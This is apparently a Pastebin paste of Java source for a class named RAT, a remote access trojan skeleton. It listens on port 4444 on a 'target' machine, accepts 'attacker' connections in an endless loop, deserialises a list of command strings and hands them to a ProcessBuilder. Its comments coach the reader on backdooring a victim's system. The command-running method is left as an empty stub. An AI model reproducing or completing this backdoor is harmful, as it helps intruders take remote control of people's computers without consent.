Advertisement
Guest User

Untitled

a guest
Jan 17th, 2016
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.46 KB | None | 0 0
  1. import java.io.IOException;
  2. import java.io.InputStream;
  3. import java.io.ObjectInputStream;
  4. import java.io.OutputStream;
  5. import java.net.ServerSocket;
  6. import java.net.Socket;
  7. import java.util.ArrayList;
  8.  
  9. public class RAT {
  10.     public static void main(String[] args){
  11.         try {
  12.             // I assume that you want the attacker to connect to the target
  13.             // if you want the target to connect to the attacker, use Socket
  14.             // second param in Ctor call, indicates how many connection to handle, in this case, just 1
  15.             ServerSocket serverSocket = new ServerSocket(4444,1);
  16.  
  17.             // an infinite loop, because you want this to run for ever on your target
  18.             while(true){
  19.                 Socket attackerSocket = serverSocket.accept();
  20.  
  21.                 // Trust me, you dont want the main thread to handle this crap
  22.                 // () -> lambda in java, (finally?)
  23.                 new Thread(() -> {
  24.                     communicateWithAttacker(attackerSocket);
  25.                 }).start();
  26.             }
  27.         } catch (IOException e) {
  28.             e.printStackTrace();
  29.         }
  30.  
  31.     }
  32.  
  33.     // Normally, everything below i'd put in a separated class, read about SOLID principles
  34.     private static void communicateWithAttacker(Socket attackerSocket){
  35.         //its good practice
  36.         if(attackerSocket == null)
  37.             throw new NullPointerException("attackerSocket");
  38.  
  39.         // i hate this forced try/catch blocks
  40.         try {
  41.             OutputStream outputStream = attackerSocket.getOutputStream();
  42.             ObjectInputStream objectInputStream = new ObjectInputStream(attackerSocket.getInputStream());
  43.  
  44.             // i assume that you will send an unencrypted array of commands
  45.             ArrayList<String> commands = (ArrayList<String>) objectInputStream.readObject();
  46.  
  47.             // do something with those commands, and maybe return a result?
  48.             doSomethingWithCommands(new ProcessBuilder((commands)));
  49.  
  50.             // continue response logic here;
  51.  
  52.         } catch (IOException e) {
  53.             e.printStackTrace();
  54.         } catch (ClassNotFoundException e) {
  55.             e.printStackTrace();
  56.         }
  57.     }
  58.  
  59.     private static void doSomethingWithCommands(ProcessBuilder processBuilder)
  60.     {
  61.         if (processBuilder == null)
  62.             throw new NullPointerException("processBuilder");
  63.  
  64.         //do something with the commands, and maybe return some results?
  65.     }
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement